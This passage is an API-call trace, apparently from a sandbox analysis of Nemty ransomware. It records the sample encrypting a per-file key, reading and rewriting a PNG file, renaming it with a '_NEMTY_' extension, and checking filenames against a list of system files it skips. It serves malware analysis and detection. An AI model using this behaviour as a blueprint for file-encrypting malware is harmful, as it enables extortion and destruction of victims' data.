0x4f942b0 [0074.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0074.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0074.834] Sleep (dwMilliseconds=0x5) [0074.850] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe04249f0, dwHighDateTime=0x1d561e7)) [0074.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe04249f0, dwHighDateTime=0x1d561e7)) [0074.852] GetLastError () returned 0x5 [0074.858] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0074.859] GetLastError () returned 0x5 [0074.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0074.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0074.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0074.886] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0074.887] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0074.891] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0074.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0074.891] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="Z92rTRySj8/iIewLgCBLL8BD5DdeEp2byqEbksGQM6D6LvO2q9WAisiJz1iHgB+D\r\nrd11pDu23FwHLlp4PNv6hyV3uURw9eK35cjceQRp6MfVYl6E/FEfMZKYhHMKRY4v\r\nES3RykYnMob0j2PWNohV6UgUi3TRqwrg+vGugVxZVJcFXmpodI+zYI4yZGFUDZv7\r\n1hJ4TxQsMdkC3ZAciLNcNM7/pIZVhUdPO0524ulayo7mR1f+/MmUGJrA1h+H+4Yl\r\nHIPT4nMttC/QuI1mSOZwRx4eaYTK8fnqUgoMpwIIHNAVxJWzcgAn4zNbsvmqSype\r\ngZdaspGLU9lA9bp2zbxvkA==\r\n", pcchString=0x653e91c) returned 1 [0074.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0074.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0074.891] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0074.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0074.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0074.891] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0074.891] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0074.947] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0074.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0074.950] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0074.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.991] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0074.991] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0074.991] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.001] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.001] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.001] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.010] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.010] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.010] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.152] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.152] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.152] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.162] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.162] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.162] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.171] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.171] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.171] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.180] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.180] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.181] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.191] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.191] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.191] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.200] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.200] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.201] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.201] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.210] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.210] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.210] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.217] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0075.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0075.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400f0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0075.223] CloseHandle (hObject=0xffffffff) returned 0 [0075.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0075.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0075.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0075.223] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0075.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0075.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0075.223] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png._nemty_kgobjgd_")) returned 0 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0075.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0075.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.224] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2=".") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="..") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="...") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="windows") returned -1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="$RECYCLE.BIN") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="rsa") returned -1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="NTDETECT.COM") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="ntldr") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="MSDOS.SYS") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="IO.SYS") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="boot.ini") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="boot.ini") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="AUTOEXEC.BAT") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="ntuser.dat") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="desktop.ini") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="CONFIG.SYS") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="RECYCLER") returned -1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="BOOTSECT.BAK") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="bootmgr") returned 1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="programdata") returned -1 [0075.224] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="appdata") returned 1 [0075.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0075.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-back-static.png", lpUsedDefaultChar=0x0) returned 24 [0075.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0075.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0075.224] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.224] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-back-static.png", lpUsedDefaultChar=0x0) returned 24 [0075.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0075.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0075.224] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0075.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0075.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x4f9ecb8, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-back-static.png", lpUsedDefaultChar=0x0) returned 24 [0075.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0075.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0075.225] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pets_btn-back-static.png", cchWideChar=24, lpMultiByteStr=0x4f9ed08, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pets_btn-back-static.png", lpUsedDefaultChar=0x0) returned 24 [0075.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0075.225] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942b0 [0075.225] Sleep (dwMilliseconds=0x5) [0075.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe07dcc50, dwHighDateTime=0x1d561e7)) [0075.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe07dcc50, dwHighDateTime=0x1d561e7)) [0075.237] GetLastError () returned 0x5 [0075.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0075.237] GetLastError () returned 0x5 [0075.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0075.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0075.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0075.237] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0075.237] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0075.238] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0075.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0075.238] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: 